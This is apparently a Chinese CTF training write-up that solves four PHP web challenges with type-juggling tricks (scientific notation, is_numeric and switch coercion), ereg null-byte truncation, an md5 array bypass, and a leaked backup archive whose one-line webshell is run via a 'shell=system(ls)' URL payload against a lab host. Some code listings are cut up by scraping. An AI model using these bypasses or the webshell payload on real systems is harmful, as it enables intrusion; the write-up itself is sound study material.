7月28日ctfweb源码泄露及代码审计训练题

1.试试手

题目:

// 题目是php界面信息
  99999999 && strlen($_GET['p1']) < 9){
        echo "111";

        if (isset ( $_GET ['p2'] )) {
                $p2 = $_GET ['p2'];
                if (is_numeric($p2)){
                    die('Input cannot be a number!!!');
                }
                else{
                    switch ($p2) {
                        case 0 :
                            break;  
                        case 1 :
                            break;
                        case 2 :
                            echo "$flag";
                            break;
                        default :
                            echo "2333333";
                            break;
                    }
                }
            }
    }   
}
?> 

分析:
该题是标准的代码审计

考点一:

// 参数p1的两个条件,大于99999999且字符串长度(strlen)小于9
 if ($_GET['p1'] > 99999999 && strlen($_GET['p1']) < 9){
        echo "111";

应答:
明显是较大数字与字符串长度之间的矛盾,处理这种情况可通过科学计数法表示,即p1=1e8,表示10的8次方,具体多大也不清楚。

考点二:

// 参数p2首先不能是数字串
//is_numeric判断123、‘123’、0x123、‘0x123’等均为ture(1)
//也就意味着只有123abc这种混合类型为false(0)
        if (isset ( $_GET ['p2'] )) {
                $p2 = $_GET ['p2'];
                if (is_numeric($p2)){
                    die('Input cannot be a number!!!');
                }

应答:
对于is_numeric的处理,应调整为p2=123abc

考点三:

// switch对p2进行进一步的限制
//switch会将其中的参数转换为int类型
  switch ($p2) {
                        case 0 :
                            break;  
                        case 1 :
                            break;
                        case 2 :
                            echo "$flag";
                            break;
                        default :
                            echo "2333333";
                            break;
                    }

应答:switch会将其中的参数转换为int类型,同时case为2的情况下输出flag,所以呀,只要把p2改为2aaaa就行。

payload:

// 训练题的payload
http://39.82.157.233:21010/web1/?p1=1e8&&p2=2aaaa

2.试试手二

题目:

// 题目是php界面信息
You password must be alphanumeric

'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) { die('Flag: ' . $flag); } else { echo('

*-* have not been found

'); } } else { echo '

Invalid password

'; } } ?>

分析:
该题是标准的代码审计

考点一:

// ereg对password字符串组成进行限制
  if (ereg ("^[a-zA-Z0-9]+$",$_GET['password']) === FALSE)    
       {
        echo '

You password must be alphanumeric

'; }

应答:ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
但是,ereg()有个漏洞,即在特殊符号前可使用%00进行截断,传递特殊符号。所以暂时按兵不动。

考点二:

// 参数password的两个条件,大于99999999且字符串长度(strlen)小于8
if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)

应答:明显是较大数字与字符串长度之间的矛盾,处理这种情况可通过科学计数法表示,即p1=1e8,表示10的8次方,具体多大也不清楚。

考点三:

// strpos的使用,strpos() 函数查找字符串在另一字符串中第一次出现的位置。
 if (strpos ($_GET['password'], '*-*') !== FALSE)
        {
            die('Flag: ' . $flag);
        }
        else
        {
            echo('

*-* have not been found

');

应答:!==false,意味着strpos() 函数必须要求‘-’在password中。构造涵盖*-*的password

综上所述,构造password=1e8%00*-*

payload:

// 训练题的payload
http://39.82.157.233:21010/web2/?password=1e8%00*-*

3.试试手三

题目:

// 题目是php界面信息
 

考点一:

// ==小判断
   if (isset($_POST['name']) && isset($_POST['password']))
    {
        if ($_POST['name'] == $_POST['password'] )
        {
            die('账号密码不能一致!');
        }

应答:if语句表示name!=password

考点二

// 对name和password进行md5的判断
   if (md5($_POST['name']) === md5($_POST['password']))
     ...
            else
            {
                die("账号密码错误!");
            }

应答:这种md5比较有两种,一种是单纯的md5比较,一种是要求name!=password,还得要求两者加密值一样,可以通过构造数组绕过,原理是数组md5加密后会被传值为null。name[]=1&password[]=2

考点三:

// 对id值的限制。
if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id']))
           ...
                die("ID错误1!");
            }

应答:首先是is_numeric,其次!==‘72’ ,最后是!preg_match(’/\s/’, $_POST[‘id’])),–应该是不能为字符串的形式,这个地方我不太熟练。

考点四:

// 对id值的限制。
   if($_POST['id']==72)
                    die("$flag");
                else
                    die("ID错误2!");
            }

应答:结合上一考点,都是对id的限制,但是很明确id!=72,因此构造id的十六进制数值id=0x48

综上所述,构造name[]=1&password[]=2&&id=0x48
小tips:别忘了这个

// 传参login。
if(isset($_POST['login']))

payload:

// 训练题的payload
post传参:login=&&name[]=1&password[]=2&&id=0x48

4.附加题

题目:
7月28日ctfweb源码泄露及代码审计训练题_第1张图片分析:理性网址,记得备份
哈哈哈,备份题get√

步骤一:

御剑、wfuzz、dirmap、dirsearch都可以
御剑一下吧,得到www.rar后缀文件
7月28日ctfweb源码泄露及代码审计训练题_第2张图片

步骤二

下载完毕,打开是这样,没事多点点,总有发现
7月28日ctfweb源码泄露及代码审计训练题_第3张图片

步骤三:

找到一句话木马文件
7月28日ctfweb源码泄露及代码审计训练题_第4张图片7月28日ctfweb源码泄露及代码审计训练题_第5张图片

步骤四:

方法很多,caidao来啦
7月28日ctfweb源码泄露及代码审计训练题_第6张图片根目录下,找到flag
7月28日ctfweb源码泄露及代码审计训练题_第7张图片
小tips:哈哈哈,试一试http输入怎么样

payload:

之前是加上了www,这次去掉www页面为空,按理说能过去,但是ls后还是不对,有些疑惑,等大佬。

// 训练题的payload
http://39.82.157.233:10010/js/.config.php?shell=system(ls);

7月28日ctfweb源码泄露及代码审计训练题_第8张图片

学习笔记:

  1. CTF中常见php-MD5()函数漏洞

你可能感兴趣的:(安全)